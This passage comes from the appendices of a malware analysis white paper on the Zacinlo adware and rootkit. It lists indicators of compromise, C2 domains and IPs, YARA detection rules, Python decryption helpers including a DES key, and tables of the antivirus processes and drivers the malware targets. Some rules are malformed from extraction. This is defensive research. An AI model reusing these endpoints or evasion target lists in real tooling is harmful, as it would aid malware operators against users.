Power-By: Vanilla-0.1.0-rc4

941e869c6569fb23
```

```
Decrypted request:
avs=bdagent&files=svcvmx.zip

Decrypted response:
PASS
```

If the response of the third request is not "PASS" then the file will not be downloaded or updated, otherwise the adware component will be downloaded or updated.



Appendix 1: IOCS

Domains

- mrsdaiweilei@gmail.com
 - ssl-zert.mobi
 - tools.zpz.name
 - jeegtube.com
 - yimgcdn.com
 - jeegtube.com
 - opttracker.com
 - userbest.com
 - opt2tracker.com
 - cashext.com
 - gpt9.com
 - liuliangshu.com
 - srvtracker.com
 - ttrwb.com
 - 58hex.com
 - egreader.com
 - enhanced2trk.com
 - cdnoptim.com
 - nptcdn.com
- meilihansd@gmail.com
 - rocketadv.com
 - sisilist.com
 - optimeze.com
 - digximg.com
 - essads.com
 - linkedcdn.com
 - domedex.com



- familyrocker.com
- fibuinfo.com
- enhancedassistant.com
- digxtube.com
- enhancedstats.com
- myvideogamez.com
- eereader.com
- esstrk.com
- answerscdn.com
- optimezer.com
- webhostingreviewboards.net
- rockettrk2.com
- qwee3.com
- gpt7.com
- gpt5.com
- eyemedias.com
- sharps5.com
- sharpproxy.com
- enhancedtrk.com
- esttrk.com
- choicesone.com
- iireader.com
- lifetipsabc.com
- doubleimps.com
- feisearch.com
- trafficsyn.com
- rocketadt.com
- rocketadx.com



Zacinlo

- Registry paths:
 - HKLM\SOFTWARE\Wow6432Node\Microsoft\Network\FileService\svcvmx_time
 - HKLM\SYSTEM\CurrentControlSet\Control\Network\atimode
 - HKLM\SYSTEM\CurrentControlSet\Control\Network\set_bl
 - HKLM\SYSTEM\CurrentControlSet\Control\Network\PowerMode
 - HKLM\SYSTEM\CurrentControlSet\Control\Network\PowerMode2
- User agents used:
 - wget
 - Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
- Network activity:
 - cdn.optitc.com
 - optitm.com
 - userbest.com:8080/report/lp
 - yimgcdn.com:8080/rep001/l
- Mutex:
 - Global\SetupMutex_{ABE47B72-0C2F-421F-BFE5-D86F8ABD3570}
- File paths:
 - Folder name generated from a templated prefix

LUA Interpreter

- Service:
 - Windowsmanagementservice
- User agent:
 - SmartService
 - wget
- Network activity:
 - 173.192.28.166
 - opttracker.com



Setup Downloader

- Service:
 - Windowsmanagementservice
- User agent:
 - BypassUac
- Network activity:
 - gpt9.com
 - 174.37.56.248
- Registry paths:
 - HKLM\SOFTWARE\Microsoft\Network\FileService\Liveup
- File paths:
 - A generated directory name after format „YearMonthDay” in „%temp%” which contains „ct.zip”

Dataup

- Registry paths:
 - HKLM\Software\Microsoft\Network\FileService\Liveup
- Service:
 - Dataup Service
- Network Activity:
 - cdnoptim.com
 - 58hex.com
 - jeegtube.com
- User agent:
 - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
- Files:
 - Help_dll.dll
 - NTSVC.ocx



Rootkit

- Device name: \\.\DrvProtect
- Registry paths:
 - HKLM\SYSTEM\CurrentControlSet\Control\Network\PowerMode
 - HKLM\SYSTEM\CurrentControlSet\Control\Network\PowerMode2
 - HKLM\SYSTEM\CurrentControlSet\Control\Network\atimode
 - HKLM\SYSTEM\CurrentControlSet\Control\Network\set_st
 - HKLM\SYSTEM\CurrentControlSet\Control\Network\set_bl
 - HKLM\SYSTEM\CurrentControlSet\Control\Network\set_pt

Setup dropper

- Registry paths:
 - HKLM\SYSTEM\CurrentControlSet\Network\set_pt
 - HKLM\SYSTEM\CurrentControlSet\Network\atimode

LUA Script 2

- Network activity:
 - gpt9.com
 - 198.8.61.161
 - 173.192.16.184

LUA Script 1

- Network activity:
 - 173.192.28.166
 - 173.192.16.184



Payload Master

- Mutex: Global\SetupMutex_WinMain_07676023_12CC_451E_A37B_ADB00A945B14
- Registry paths:
 - HKLM\SOFTWARE Wow6432Node\Microsoft\Network\FileService\Liveup
 - HKLM\SOFTWARE Wow6432Node\Microsoft\Network\FileService\install_time
 - HKLM\Software\Microsoft\Windows\CurrentVersion\Run\svcvmx
 - HKLM\SYSTEM\CurrentControlSet\Control\Network\set_pt
- Pipe: SVCVMX{72CE8DB0-6EB6-4C24-92E8-A07B77A229F8}
- File paths:
 - „%localappdata%\Microsoft\Windows Media\userdata2
- Network activity:
 - client-api.essads.com
- User agent used:
 - Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
- Desktop name: srcvmx_desktop

Payload Client

- Mutex: Global\SetupMutex_ED6901A1-2E80-4FABAAD5-84638FC3F382}
- Pipe: SVCVMX{72CE8DB0-6EB6-4C24-92E8-A07B77A229F8}
- Network activity: plenty of network connections coming from this process

Appendix 2: Tools for detection and decryption

Yara

```
import „pe“

rule c_exe
{
  strings:
    $c0 = „desktop.ini“ wide
    $c1 = „download.dat“ wide

    $d0 = „kadefenader“ wide
    $d1 = „wkadecfenader“ wide
  condition:
    all of ($c*) or 1 of ($d*)
}

rule zacinlo_exe
{
  strings:
    $c0 = „\\CHROME.EXE“ fullword ascii
    $c1 = „\\FIREFOX.EXE“ fullword ascii
    $c2 = „\\360CHROME.EXE“ fullword ascii
    $c3 = „openssl“ ascii

    $d0 = { 73 74 61 72 [1-6] 45 4B 75 70 }
    $d1 = { 6D 62 61 6D [1-6] 2E 65 78 65 [1-6] 7C 6D 62 61 [1-6] 6D 73 65 72 [1-6] 76 69 63 65
[1-6] 2E 65 78 65 [1-6] 7C 6D 62 61 [1-6] 6D 74 72 61 [1-6] 79 2E 65 78 [1-6] 65 7C 41 76 [1-6] 69
72 61 2E [1-6] 53 79 73 74 [1-6] 72 61 79 2E [1-6] 65 78 65 7C [1-6] 41 76 69 72 [1-6] 61 2E 53 65
[1-6] 72 76 69 63 [1-6] 65 48 6F 73 [1-6] 74 2E 65 78 [1-6] 65 00 00 00 }
    $e0 = „SeShutdownPrivilege“ wide
    $e1 = „SeDebugPrivilege“ wide
    $e2 = „TOSHIBA“ wide

    $f0 = „tprdpw64“ ascii
    $f1 = „tprdpw64“ wide
    $f2 = „msidntld.exe“ wide
    $f3 = „msidntld.exe“ ascii
```



```

$g0 = „unzip“ ascii
$g1 = „CryptoPP“ ascii
$g2 = „TOSHIBA“ wide
$g3 = „Bluetooth“ wide

```

```

$h0 = „version“ fullword ascii
$h1 = „parameters“ fullword ascii
$h2 = „always_run“ fullword ascii
$h3 = „service“ fullword ascii
$h4 = „password“ fullword ascii
$h5 = „install“ fullword ascii
$h6 = „svc“ fullword ascii
$h7 = „launch“ fullword ascii
$h8 = „param“ fullword ascii

```

```

$mutex = {C7 [2-6] 7B 00 41 00 C7 [2-6] 42 00 45 00 C7 [2-6] 34 00 37 00 C7 [2-6] 42 00 37
00 C7 [2-6] 32 00 2D 00 C7 [2-6] 30 00 43 00 C7 [2-6] 32 00 46 00 C7 [2-6] 2D 00 34 00 C7 [2-6] 32
00 31 00 C7 [2-6] 46 00 2D 00 C7 [2-6] 42 00 46 00 C7 [2-6] 45 00 35 00 C7 [2-6] 2D 00 44 00 C7 [2-
6] 38 00 36 00 C7 [2-6] 46 00 38 00 C7 [2-6] 41 00 42 00 C7 [2-6] 44 00 33 00 C7 [2-6] 35 00 37 00
C7 [2-6] 30 00 7D 00}

```

```

$mutex0 = {C7 [2-6] 68 74 74 70 C7 [2-6] 3A 2F 2F 67 C7 [2-6] 70 74 39 2E C7 [2-6] 63 6F 6D
2F C7 [2-6] 61 70 69 2F C7 [2-6] 71 7A 6B 7A}

```

```

$mutex1 = {C7 [2-6] 7B 00 41 00 C7 [2-6] 42 00 45 00 C7 [2-6] 34 00 37 00 C7 [2-6] 42 00 37
00 C7 [2-6] 32 00 2D 00 C7 [2-6] 30 00 43 00 C7 [2-6] 32 00 46 00 C7 [2-6] 2D 00 34 00 C7 [2-6] 32
00 31 00 C7 [2-6] 46 00 2D 00 C7 [2-6] 42 00 46 00 C7 [2-6] 35 00 2D 00 C7 [2-6] 44 00 38 00 C7 [2-
6] 36 00 46 00 C7 [2-6] 38 00 41 00 C7 [2-6] 42 00 44 00 C7 [2-6] 33 00 35 00 C7 [2-6] 37 00 30 00
C7 [2-6] 7D}

```

```
condition:
```

```
all of ($c*) or (all of ($d*) and 1 of ($e*)) or (1 of ($f*) and all of ($g*)) or all of
($h*) or 1 of ($mutex*)
```

```
}
```

```
rule ct2_exe
```

```
{
```

```
strings:
```

```

$c0 = „script.lua“ ascii
$c1 = „script2.lua“ ascii

```

```
condition:
```

```
1 of them
```

```
}
```

```
rule ct_exe
```

White Paper strings:

```
$c0 = „to install the service” wide
```

```
$c1 = „to remove the service” wide
```

```
$d0 = „c:\\log.txt” ascii
```

```
$d1 = „script.lua” ascii
```

```
$d2 = „script2.lua” ascii
```

```
$d3 = „-version” ascii
```

condition:

```
((all of ($c*) or $d0) and #d1 == 0 and #d2 == 0 and #d3 == 0)
```

```
}
```

rule ct_unknown_exe

```
{
```

strings:

```
$e0 = „install” fullword ascii
```

```
$e1 = „svc” fullword ascii
```

```
$e2 = „launch” nocase fullword ascii
```

```
$e3 = „param” fullword ascii
```

```
$f0 = „Liveup” fullword wide
```

```
$f1 = „Liveup” fullword ascii
```

condition:

```
(all of ($e*) and 1 of ($f*))
```

```
}
```

rule ct2_downloader

```
{
```

strings:

```
$c0 = „ct.exe” fullword ascii
```

```
$c1 = „ct.zip” fullword ascii
```

```
$d0 = „BINDATA” fullword wide
```

```
$d1 = „BypassUac” wide
```

condition:

```
1 of ($c*) and all of ($d*)
```

```
}
```

rule qdcomsvc_exe

```
{
```



```
White Paper $c0 = „360tray.exe“ wide
            $c1 = „a2service.exe“ wide
            $c2 = „ct=%d&dataup=%d&cpx=%d&svcvmx=%d&qd=%d&szpsrv=%d&splsrv=%d“ ascii

            $d0 = „dataup.exe“ wide
            $d1 = „cpx.exe“ wide
            $d2 = „dct.exe“ wide
            $d3 = „svcvmx.exe“ wide
            $d4 = „splsrv.exe“ wide
            $d5 = „szpsrv.exe“ wide

condition:
    all of them and 1 of ($d*)
}

rule dataup_exe
{
    strings:
        $c0 = „\\ds.vbp“ wide
        $c1 = „databack.php“ wide
    condition:
        all of them
}

rule help_dll
{
    strings:
        $c0 = „\\help_dll.pdb“ ascii
        $c1 = „HelpDecrypt“ fullword ascii
        $c2 = „HelpEncrypt“ fullword ascii
        $c3 = „HelpGuid“ fullword ascii
    condition:
        all of them or (pe.exports(„HelpDecrypt“) and pe.exports(„HelpEncrypt“) or
pe.exports(„HelpGuid“))
}

rule NTSVC_ocx
{
    strings:
        $c0 = „NT Service Control Module“ wide
        $c1 = „Microsoft“ wide
        $c2 = „DllCanUnloadNow“ fullword ascii
```

```
$c3 = „DllGetClassObject“ fullword ascii
$c4 = „DllRegisterServer“ fullword ascii
$c5 = „DllUnregisterServer“ fullword ascii
$c6 = „SYSTEM\\CurrentControlSet\\Services\\EventLog\\Application\\" ascii
$c7 = „StartService“ fullword ascii
$c8 = „EventMessageFile“ fullword ascii
$c9 = „LogEvent“ fullword ascii
$c10 = „CntSvcCtrl::ServiceMain()“ fullword ascii

condition:
    8 of them
}

rule radardt
{
    strings:
        $a0 = „\\Registry\\MACHINE\\SYSTEM\\CurrentControlSet\\Control\\hivelist“ wide
        $a1 = „X:\\windows\\system32\\config\\HARDWARE“ wide
        $a2 = „\\Device\\DrvProtect“ fullword wide

        $b0 = „[ObProcessPreCall_CREATE]“ ascii
        $b1 = „[ObProcessPreCall_DUPLICATE]“ ascii
        $b2 = „[RegNtPreSetValueKey]“ ascii
        $b4 = „\\DATAUP“ fullword wide

        $c0 = „\\ASWSP.SYS“ ascii
        $c1 = „\\MBAM.SYS“ ascii
        $c2 = „\\REGTOOL.EXE“ ascii
        $c3 = „\\DATAUP.EXE“ ascii
        $c4 = „\\DRIVERS\\WDFILTER.SYS“ ascii
        $c5 = „UPDATEADMIN.EXE“ ascii
        $c6 = „\\SPYHUNTER4.EXE“ ascii

        $d1 = „.vmp1“ fullword ascii
        $d2 = „.vmp2“ fullword ascii
        $d3 = „IoRegisterBootDriverReinitialization“ ascii
        $d4 = „ZwOpenSymbolicLinkObject“ ascii
        $d5 = „FltRegisterFilter“ ascii

        $e0 = „set_st“ fullword wide
```

```
$e1 = „set_pt“ fullword wide
$e2 = „atimode“ fullword wide
$e3 = „PowerMode“ fullword wide
$e4 = „PowerMode2“ fullword wide
```

```
$f0 = „-starup“ wide
$f1 = „\\Device\\DrvProtect“ wide
$f2 = „\\DATAUP.EXE“ ascii
$f3 = „\\CTX.EXE“ ascii
$f4 = „\\SVCVMX.EXE“ ascii
$f5 = „\\TPRDPW64.EXE“ ascii
$f6 = „TASKMGR.EXE“ ascii
```

condition:

```
all of ($a*) or all of ($b*) or 4 of ($c*) or all of ($d*) or all of ($e*) or 5 of ($f*)
```

```
}
```

rule regtool_exe

```
{
```

strings:

```
$c0 = „bypassuac“ ascii
$c1 = „regtool.pdb“ ascii
```

condition:

```
all of them
```

```
}
```

rule s5_exe

```
{
```

meta:

```
directory = „s5“
```

strings:

```
$c0 = {42 00 49 00 4E 00 44 00 41 00 54 00 41 00 50 4B}
$c1 = „BINDATA“ fullword wide
$c2 = {4B 50 01 D3}
$c3 = „a.exe“ fullword wide
```

```
$d0 = „msidntld32.zip“ wide
```

```
$d1 = „msidntld64.zip“ wide
```

```
$d2 = „radardt32.zip“ wide
$d3 = „radardt64.zip“ wide
$d4 = „netfilter3_x86_xp.zip“ wide
$d5 = „netfilter3_x64_xp.zip“ wide
$d6 = „netfilter3_x86_win7.zip“ wide
$d7 = „netfilter3_x64_win7.zip“ wide
$d8 = „netfilter3_x86_win8.zip“ wide
$d9 = „netfilter3_x64_win8.zip“ wide
$d10 = „udisk.zip“ wide
$d11 = „udisk32.zip“ wide

$d12 = „atad.7niw_46x_3retliften“ ascii
$d13 = „atad.7niw_68x_3retliften“ ascii
$d14 = „atad.pxniw_46x_3retliften“ ascii
$d15 = „atad.pxniw_68x_3retliften“ ascii
$d16 = „atad.8niw_46x_3retliften“ ascii
$d17 = „atad.8niw_68x_3retliften“ ascii
$d18 = „atad.23tdradar“ ascii
$d19 = „atad.46tdradar“ ascii
$d20 = „atad.ksidu“ ascii
$d21 = „atad.23ksidu“ ascii

$d22 = „ndistpr64.sys“ ascii
$d23 = „tprdpw64.exe“ ascii
$d24 = „ct2.exe“ ascii
$d25 = „ct.exe“ ascii
$d26 = „msisasrv.sys“ ascii
$d27 = „msidntld.exe“ ascii
$d28 = „report“ ascii

$d29 = „msidntld32.zip“ ascii
$d30 = „msidntld64.zip“ ascii
$d31 = „radardt32.zip“ ascii
$d32 = „radardt64.zip“ ascii
$d33 = „netfilter3_x86_xp.zip“ ascii
$d34 = „netfilter3_x64_xp.zip“ ascii
$d35 = „netfilter3_x86_win7.zip“ ascii
$d36 = „netfilter3_x64_win7.zip“ ascii
$d37 = „netfilter3_x86_win8.zip“ ascii
```



```
$d38 = „netfilter3_x64_win8.zip” ascii
```

```
$d39 = „udisk.zip” ascii
```

```
$d40 = „udisk32.zip” ascii
```

```
$d41 = „msidntld32.data” ascii
```

```
$d42 = „msidntld64.data” ascii
```

```
$d43 = „radardt32.data” ascii
```

```
$d44 = „radardt64.data” ascii
```

```
$d45 = „netfilter3_x86_xp.data” ascii
```

```
$d46 = „netfilter3_x64_xp.data” ascii
```

```
$d47 = „netfilter3_x86_win7.data” ascii
```

```
$d48 = „netfilter3_x64_win7.data” ascii
```

```
$d49 = „netfilter3_x86_win8.data” ascii
```

```
$d50 = „netfilter3_x64_win8.data” ascii
```

```
$d51 = „udisk.data” ascii
```

```
$d52 = „udisk32.data” ascii
```

```
$d53 = „ndistpr64.data” ascii
```

```
$d54 = „tprdpw64.data” ascii
```

```
$d55 = „ct2.data” ascii
```

```
$d56 = „ct.data” ascii
```

```
$d57 = „atad.23dltndism” ascii
```

```
$d58 = „atad.46dltndism” ascii
```

```
$d59 = „atad.2tc” ascii
```

```
$d60 = „atad.px_46x_3retliftyen” ascii
```

```
$d61 = „atad.px_68x_3retliftyen” ascii
```

```
condition:
```

```
2 of ($c*) and 2 of ($d*) or 4 of ($d*)
```

```
}
```

```
rule s5_new_exe
```

```
{
```

```
strings:
```

```
$d0 = „bottom1.avi” fullword wide
```

```
$d1 = „bottom4.avi” fullword wide
```

```
$d2 = „bottom5.avi” fullword wide
```

```
$d3 = „bar1.avi” fullword wide
```

```
$d4 = „bar2.avi” fullword wide
```

```
$d5 = „top1.avi“ fullword wide
$d6 = „top2.avi“ fullword wide
$d7 = „ilogo1.avi“ wide
$d8 = „ilogo2.avi“ wide

condition:
    all of them
}

rule old_s5_unknown_exe
{
    strings:
        $d0 = „I’m going to start the program“ fullword wide
        $d1 = „Warning“ fullword wide
        $d2 = „Click to start the program“ fullword wide
        $d3 = „Starting“ fullword wide
        $d4 = „Starting upgrade“ fullword wide
    condition:
        all of them
}

rule s5mark_install_exe
{
    strings:
        $d0 = „S5mark.lnk“ fullword wide
        $d1 = „s5.lnk“ fullword wide
        $d2 = „\\S5mark.exe“ fullword wide
        $d3 = „S5mark.exe“ ascii
        $d4 = „s5mark_install.pdb“ nocase ascii

        $e0 = „Software“ fullword wide
        $e1 = „Classes“ fullword wide
        $e2 = „Module“ fullword wide
        $e3 = „Module_Raw“ fullword wide
        $e4 = „REGISTRY“ fullword wide
        $e5 = „APPID“ fullword wide
        $e6 = „Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\“ fullword wide
        $e7 = „DisplayIcon“ fullword wide
        $e8 = „UninstallString“ fullword wide
        $e9 = „DisplayName“ fullword wide
```

```
condition:
    3 of ($d*) or 1 of ($d*) and all of ($e*)
}

rule s5mark_uninstall_exe
{
    strings:
        $d0 = „s5.lnk” fullword wide
        $d1 = „Are you sure to remove s5mark” wide
        $d2 = „Succeeded to remove s5mark” wide
        $pdb = „s5mark_unit.pdb” nocase ascii
    condition:
        3 of them
}

rule s5mark_panel_exe
{
    strings:
        $pdb = „s5mark_panel.pdb” nocase ascii
    condition:
        1 of them
}

rule mgr_toolbar_old
{
    strings:
        $pdb0 = „work\\http-download\\" ascii

        $c0 = „ForceRemove” fullword wide
        $c1 = „NoRemove” fullword wide
        $c3 = „NetworkHostSrv” fullword wide
        $c4 = „NetworkHostSvc” fullword wide

        $url0 = „tracking.yeehbuy.com” ascii
        $url1 = „tracking.photoyee.com” ascii
        $url2 = „tracking.weiboniu.com” ascii
        $url3 = „tracking.downloadyee.com” ascii
        $url4 = „tracking.downloadyeah.com” ascii
        $url5 = „tracking.imobitracking.net” ascii
```

```
$url6 = „%d/updaterinfo.bin” wide
```

```
$d0 = „updaterSvcInfo” ascii
```

```
$d1 = „protecttime” ascii
```

```
$d1 = „netprotectcount” ascii
```

```
$d1 = „protectedSvcInfo” ascii
```

```
$e0 = „svcDesc” fullword ascii
```

```
$e1 = „infoName” fullword ascii
```

```
$e2 = „taskDirName” fullword ascii
```

```
$e3 = „upDirName” fullword ascii
```

```
$e4 = „BName” fullword ascii
```

```
$e5 = „AName” fullword ascii
```

```
$e6 = „taskUri” fullword ascii
```

```
$mutex0 = „9CD865CA-C319-4BF9-8577-EA6EC7F36AE7” wide
```

```
condition:
```

```
1 of ($mutex*) or (2 of ($c*) and (1 of ($pdb*) or 1 of ($url*) or all of ($d*)) or all of ($e*))
```

```
}
```

```
rule mgr_downloader
```

```
{
```

```
strings:
```

```
$pdb0 = „\\download_mgr\\” ascii
```

```
$pdb2 = „Release\\toolbar_setup.pdb” ascii
```

```
$pdb3 = „\\download_mgr_photoyee\\” ascii
```

```
$pdb4 = „Release\\tb_setup_zip.pdb” ascii
```

```
$pdb5 = „:\download_mgr\download_mgr” ascii
```

```
$mutex0 = „{E9B7658F-E588-4819-9A6E-44DB5590982A}” fullword wide
```

```
$c0 = „ad.downloadyee.com” wide
```

```
$c1 = „www.trackfiledownload.com” wide
```

```
$c2 = „www.yeehbuy.com” wide
```

```
$c3 = „/entry/feedbackinfo/” wide
```

```
$c4 = „/entry/svc/tbsetup/” wide
```

```
$c5 = „/entry/infomgr/svc/” wide
```

```
$c6 = „download.dat” fullword ascii
```

```
$g0 = „ForceRemove“ fullword wide
```

```
$g1 = „NoRemove“ fullword wide
```

```
$h0 = „postkey“ fullword ascii
```

```
$h1 = „softinfo“ fullword ascii
```

```
$h2 = „ratio“ fullword ascii
```

```
$h3 = „url“ fullword ascii
```

```
$h4 = „exename“ fullword ascii
```

```
$h5 = „cmd“ fullword ascii
```

```
$h6 = „foldertype“ fullword ascii
```

```
$h7 = „download.dat“ fullword wide
```

```
$h8 = „toolbar“ fullword ascii
```

```
$h9 = „name“ fullword ascii
```

```
$h10 = „desc“ fullword ascii
```

```
$h11 = „eula“ fullword ascii
```

```
$h12 = „registry“ fullword ascii
```

```
$h13 = „uniqkey“ fullword ascii
```

```
$h14 = „linkTitle“ fullword ascii
```

```
$i0 = „ldtmp.dat“ fullword wide
```

```
condition:
```

```
$mutex0 or 1 of ($pdb*) or 2 of ($c*) or (all of ($g*) and (8 of ($h*) or all of ($i*)))
```

```
}
```

```
rule bypass_exe
```

```
{
```

```
strings:
```

```
$c0 = „\\Bypass“ fullword wide
```

```
$c1 = „\\guid.log“ fullword wide
```

```
$d0 = „c:\\log.txt“ ascii
```

```
$e0 = „ctfmon.zip“ ascii
```

```
condition:
```

```
all of ($c*) and #d0 == 0 or $e0
```

```
}
```

```
rule splsrv_exe
{
  strings:
    $c0 = „splsrv” ascii
    $c1 = „splsrv” wide
    $d0 = „openssl.org” ascii

    $e0 = „-interval” fullword ascii
    $e1 = „-version” fullword ascii
    $e1 = „-ip” fullword ascii

    $mutex = „Global\\splsrv” ascii
  condition:
    1 of ($c*) and all of ($d*) and 1 of ($e*) or $mutex
}
```

```
rule svcvmx_exe
{
  strings:
    $c0 = „srcvmx_desktop” wide
  condition:
    1 of them
}
```

```
rule winscr_exe
{
  strings:
    $c0 = „WebTWAINService.exe” fullword ascii
    $c1 = „YCMMirage.exe” fullword ascii
    $c2 = „Battle.net” fullword ascii

    $d0 = „Release\\Screen.pdb” ascii

    $e0 = „Screen.exe” ascii
    $e1 = „crypto” ascii
    $e2 = „QObject” ascii

    $f0 = „http://www.gpt9.com/api/qzmd” ascii
    $f1 = „http://www.gpt9.com/api/qzki” ascii
}
```



```

    $f2 = „http://www.gpt9.com/api/eflt” ascii
    $f3 = „http://www.gpt9.com/api/efls” ascii
    $f4 = „http://www.gpt9.com/api/lt?” ascii
    $f5 = „http://www.gpt9.com/api/efup” ascii
    condition:
        1 of ($c*) or 1 of ($d*) or all of ($e*) or 4 of ($f*)
}

rule vxmclient_exe
{
    strings:
        $c0 = „Release\\winlntc.exe.pdb” ascii
    condition:
        1 of ($c*) or pe.exports(„GetHandleVerifier”)
}

rule report
{
    strings:
        $c0 = {68 74 74 70 [1-6] 3A 2F 2F 77 [1-6] 77 77 2E 74 [1-6] 74 66 6C 62 [1-6] 2E 63 6F 6D
[1-6] 2F 72 65 70 [1-6] 6F 72 74 3F [1-6] 73 3D 25 64 [1-6] 26 72 65 3D [1-6] 25 64}

        $d0 = { 69 00 73 00 [1-6] 61 00 73 00 [1-6] 72 00 76 00 [1-6] 2E 00 73 00 [1-6] 79 00 73 00
}
        $d1 = { 69 00 64 00 [1-6] 6E 00 74 00 [1-6] 6C 00 64 00 [1-6] 2E 00 65 00 [1-6] 78 00 65 00
}
        $d2 = { 63 00 74 00 [1-6] 2E 00 65 00 [1-6] 78 00 65 00 }

        $e0 = {69 6E 73 74 [3] 61 6C 6C 00}
    condition:
        (1 of ($c*) or all of ($d*)) and 1 of ($e*)
}

rule homepageoptimizer
{
    strings:
        $c0 = „Homepageoptimizer” wide
        $c1 = „Homepage Url” wide
        $c2 = „CryptoPP” ascii
    condition:

```

```
        all of them
    }

rule uninstall_homepageoptimizer
{
    strings:
        $c0 = „homepageoptimizer.exe“ wide
        $c1 = „Uninstall homepageoptimizer“ wide
        $c2 = „homepageoptimizer.lnk“ wide
    condition:
        all of them
}
```

```
rule netfilter
{
    strings:
        $c0 = „netfilter2.sys“ wide
        $c1 = „NetFilterSDK.com“ fullword wide
        $c2 = „\\projects\\projectsJ\\“ ascii
    condition:
        2 of them
}
```

String decryption

```
def decrypt_string(mystr):
    hex_data = [ord(c) for c in mystr]

    edx = 0
    index = 0
    max_index = len(hex_data)

    xlat = „a_qTwBHWKFDmkiUmIelJ8yhjb0f4zQO9SxuXAVZ372ELrtG6vCNds5poYn1cgPR-/?:"
    xlat_hex_data = [ord(c) for c in xlat]

    new_data = []

    while index < max_index:
        ecx = 0
```



```

edx = hex_data[index]
for x in xlat_hex_data:
    if x == edx:
        break
    ecx += 1
    if ecx >= 0x43:
        break

ecx += 0x40
eax = 0x7A44C6B
edx = (eax * ecx) >> 4*8
edx = (edx >> 1) * 0x43
ecx = ecx - edx

d = xlat_hex_data[ecx]
new_data.append(d)
index += 1

```

```

d = [chr(c) for c in new_data]
return ','.join(d)

```

Resource decryption

```

def decrypt(data, key):
    new_data = ''
    for x in data:
        new_data += chr(ord(x) ^ key)
    return new_data

data = ''
key = 0
print(decrypt(data.decode('hex'), key))

```

DES decryption

```

from Crypto.Cipher import DES
obj = DES.new('improxy8', DES.MODE_ECB)
data = ''
print(obj.decrypt(request.decode('hex')))

```



Appendix 3: More information

| Antimalware processes targeted by this malware | |
|--|-------------------------|
| Antimalware | Process name |
| Ad-Aware | AdAwareDesktop |
| | AdAwareService |
| | AdAwareTray |
| Avast | avastsvc |
| AVG | avgnt |
| | avgrsx |
| | avgsvcx |
| | avguard |
| | avguard |
| | avguix |
| Avira | Avira.ServiceHost |
| | avshadow |
| Bitdefender | bdagent |
| BullGuard | bullguard |
| Comodo | cis |
| | CisTray |
| Dr. Web | dwarkdaemon |
| | dwengine |
| | spideragent |
| Emisoft | a2service |
| | a2start |
| Eset | egui |
| | ekrn |
| Fortinet | FortiClientVirusCleaner |
| F-Prot | FPAVServer |
| | FprotTray |
| F-Secure | fsgk32 |
| G-Data | gdscan |
| Ikarus | guardxkickoff |
| | guardxservice |
| | guardxservice_x64 |
| Immunet | sfc |
| | iptray |
| K7 | K7SysMon |
| | K7TSecurity |
| | K7TSMain |
| Kaspersky | avp |



| | |
|-------------------------------|------------------------|
| Malwarebytes | mbam |
| | mbamservice |
| | mbamtray |
| MCSHield | mcshield |
| Microsoft Security Essentials | msseces |
| Nano Antivirus | nanoav |
| | nanosvc |
| Norman | Norman_Malware_Cleaner |
| Norton | navapsvc |
| | ns |
| Panda | PSUAMain |
| | PSUAService |
| Quick Heal | OPSSVC |
| | QUHLPSVC |
| Sophos | SDRService |
| | SntpService |
| | Sophos UI |
| SUPERAntiSpyware | SASCore |
| | SUPERAntiSpyware |
| Trend-Micro | pccntmon |
| Twister Antivirus | twister |
| | twssrv |
| Vba32 | vba32ldr |
| Vipre | sbamtray |

| Antimalware drivers targeted by this malware | |
|--|------------------|
| Antimalware | Driver name |
| Avast | \ASWMONFLT.SYS |
| | \ASWSP.SYS |
| AVG | \ASWNTFLT.SYS |
| | \AVGMONFLT.SYS |
| | \AVGNTFLT.SYS |
| | \AVGSP.SYS |
| Bitdefender | \ATC.SYS |
| | \GZFLT.SYS |
| | \TRUFOS.SYS |
| HitmanPro | \HITMANPRO |
| Kaspersky | \KLBACKUPFLT.SYS |
| Kingsoft | \KNBDRV.SYS |
| KLIF | \KLIF.SYS |



| | |
|------------------|---------------------------|
| Malwarebytes | \MBAM.SYS |
| | \MBAMSWISSARMY.SYS |
| | \MWAC.SYS |
| Norton | \SRTSP64.SYS |
| | \SYMEFASI64.SYS |
| | \SYMEVENT64X86.SYS |
| | \SYMNETS.SYS |
| Panda | \NNSPIHSW.SYS |
| | \PANDA_URL_FILTERINGD.SYS |
| | \PSINFILE.SYS |
| Qihoo360 | \BAPIDRV64.SYS |
| | \DSARK64.SYS |
| | \EPP64.SYS |
| Windows Defender | \WDFILTER.SYS |
| Zemana | \ZAM64.SYS |
| | |

| Browser processes targeted by this malware | |
|--|-------------------|
| Browser name | Process name |
| | \FLYIE.EXE |
| | \ROAMB.EXE |
| | \CELL.EXE |
| | \CYIE.EXE |
| | \PILUO.EXE |
| | \CHEERBROWSER.EXE |
| | \WEBSTRIP.EXE |
| | \SCHEDULER.EXE |
| | \BARSMEDIA.EXE |
| | \LANGUANG.EXE |
| | \BROWSER.EXE |
| | \JX.EXE |
| | \CAIMAO.EXE |
| | \SE.EXE |
| | \HUAER.EXE |
| | \WEBGAMEGT.EXE |



| | |
|--------------------------------|---------------------|
| | \FTBR.EXE |
| | \RUIYING.EXE |
| | \KCHROME.EXE |
| | \CHGREENBROWSER.EXE |
| | \DUOPING.EXE |
| | \07073GE.EXE |
| | \114IE.EXE |
| 2291 Browser | \2291BROWSER.EXE |
| 2345 | \2345EXPLORER.EXE |
| 2345chrome | \2345CHROME.EXE |
| 360 Browser | \360CHROME.EXE |
| | \360SE.EXE |
| 8UExplorer Web Browser | \8UEXPLORER.EXE |
| Acoo Browser | \ACOOBROWSER.EXE |
| AirView Spectrum Analyzer | \AIRVIEW.EXE |
| Avant Browser | \ZBROWSER.EXE |
| Avant Browser | \AVANT.EXE |
| Baidu | \BAIDUBROWSER.EXE |
| BitComet Resource Browser | \COMETBROWSER.EXE |
| | \VU.EXE |
| | \CAIYUN.EXE |
| Chrome | \CHROME.EXE |
| Comodo Dragon Internet Browser | \DRAGON.EXE |
| | \CORAL.EXE |
| Crazy Browser | \CRAZY BROWSER.EXE |
| | \DYBROWSER.EXE |
| Firefox | \FIREFOX.EXE |
